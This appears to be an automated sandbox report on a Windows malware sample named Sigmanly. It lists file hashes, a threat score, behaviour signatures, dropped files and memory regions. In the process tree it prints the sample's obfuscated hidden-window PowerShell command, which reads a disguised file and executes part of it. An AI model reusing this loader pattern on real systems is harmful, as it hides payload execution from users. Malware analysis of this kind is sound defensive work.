Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-12-2024 21:21

General

  • Target

    8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4_Sigmanly.exe

  • Size

    573KB

  • MD5

    8f4adfd3b8c55670a99389ba3905e43d

  • SHA1

    24e4a66a55b65fe58933ac92b161befc5c5df977

  • SHA256

    8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4

  • SHA512

    9ddc6fb7d8f92d4ad22e1842704dfd8cad0184f86c9482fb2cbc051008a46bb87449c8abba66b4179fc602978c31ea9215cd070c7008e39f71b6d24a43c3c527

  • SSDEEP

    12288:d93jliesAP5dtwQYYy016wq2FFbyADqbM5LugDkzicmrdZNf:d93jliR4jasy01DHn+AWYROicudZNf

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4_Sigmanly.exe
    "C:\Users\Admin\AppData\Local\Temp\8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4_Sigmanly.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Circumcorneal=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Deinos253\Ekstensives.Bnd';$Liturgiernes=$Circumcorneal.SubString(18059,3);.$Liturgiernes($Circumcorneal) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\justifikationssager.lnk

    Filesize

    768B

    MD5

    ac493faf36e7e34854e0195a2e2b4575

    SHA1

    280e6210992e2c32a67daac49704f59efa2f9c72

    SHA256

    871a1f38d4f75fec491ee1e9c5055197f039da4721791cc669be51f8a24ae79f

    SHA512

    897951ee87cb2379c6854732cac0b5ff0743fec7cf283b42a2fb688be72e37ff71673e5c085176e16a37e2dca2062326cb788a6d9faab7d6f6b78d6f423aac35

  • \Users\Admin\AppData\Local\Temp\nsi5514.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    b648c78981c02c434d6a04d4422a6198

    SHA1

    74d99eed1eae76c7f43454c01cdb7030e5772fc2

    SHA256

    3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

    SHA512

    219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

  • memory/2756-38-0x0000000073C91000-0x0000000073C92000-memory.dmp

    Filesize

    4KB

  • memory/2756-41-0x0000000073C90000-0x000000007423B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-42-0x0000000073C90000-0x000000007423B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-40-0x0000000073C90000-0x000000007423B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-39-0x0000000073C90000-0x000000007423B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-43-0x0000000073C90000-0x000000007423B000-memory.dmp

    Filesize

    5.7MB